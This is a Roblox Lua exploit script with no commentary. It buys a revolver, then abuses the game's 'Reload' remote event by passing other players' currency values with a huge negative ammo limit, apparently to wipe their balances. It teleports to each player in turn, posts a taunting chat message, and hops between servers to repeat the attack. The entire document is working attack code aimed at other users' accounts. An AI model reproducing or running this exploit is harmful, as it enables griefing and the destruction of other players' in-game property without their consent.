repeat wait() until game:IsLoaded() pcall(function() repeat wait() until game.Players.LocalPlayer.Character:FindFirstChild('FULLY_LOADED_CHAR') end) function Buy(Object) local Object = Object local LockPicker = Workspace.Ignored.Shop[Object] game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = LockPicker.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(LockPicker.ClickDetector) fireclickdetector(LockPicker.ClickDetector) end function hop() local PlaceID = game.PlaceId local AllIDs = {} local foundAnything = "" local actualHour = os.date("!*t").hour local Deleted = false local File = pcall(function() AllIDs = game:GetService('HttpService'):JSONDecode(readfile("NotSameServers.json")) end) if not File then table.insert(AllIDs, actualHour) writefile("NotSameServers.json", game:GetService('HttpService'):JSONEncode(AllIDs)) end function TPReturner() local Site; if foundAnything == "" then Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100')) else Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100&cursor=' .. foundAnything)) end local ID = "" if Site.nextPageCursor and Site.nextPageCursor ~= "null" and Site.nextPageCursor ~= nil then foundAnything = Site.nextPageCursor end local num = 0; for i,v in pairs(Site.data) do local Possible = true ID = tostring(v.id) if tonumber(v.maxPlayers) > tonumber(v.playing) then for _,Existing in pairs(AllIDs) do if num ~= 0 then if ID == tostring(Existing) then Possible = false end else if tonumber(actualHour) ~= tonumber(Existing) then local delFile = pcall(function() delfile("NotSameServers.json") AllIDs = {} table.insert(AllIDs, actualHour) end) end end num = num + 1 end if Possible == true then table.insert(AllIDs, ID) wait() pcall(function() writefile("NotSameServers.json", game:GetService('HttpService'):JSONEncode(AllIDs)) wait() game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceID, ID, game.Players.LocalPlayer) end) wait(4) end end end end function Teleport() while wait() do pcall(function() TPReturner() if foundAnything ~= "" then TPReturner() end end) end end Teleport() end spawn(function() wait(60) hop() end) Buy("[Revolver] - $1300") wait(0.5) game.ReplicatedStorage:FindFirstChild(".gg/untitledhood"):FireServer( "Reload", { Name = "[Revolver]", Ammo = {Value = math.huge*9e9}, MaxAmmo = {Value = 0} } ) task.wait(2) for _,v in pairs(game.Players:GetPlayers()) do if v.Name ~= game.Players.LocalPlayer.Name then pcall(function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players[v.Name].Character.HumanoidRootPart.CFrame + Vector3.new(0,0,-3) game.ReplicatedStorage:FindFirstChild(".gg/untitledhood"):FireServer( "Reload", { Name = "[Revolver]", Ammo = game:GetService("Players")[v.Name].DataFolder.Currency, MaxAmmo = {Value = -420420420} } ) -- Script generated by SimpleSpy - credits to exx#9394 end) local args = { [1] = ".gg/zen | enjoy ur negative balance!", [2] = "All" } game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(args)) task.wait(2) end end hop()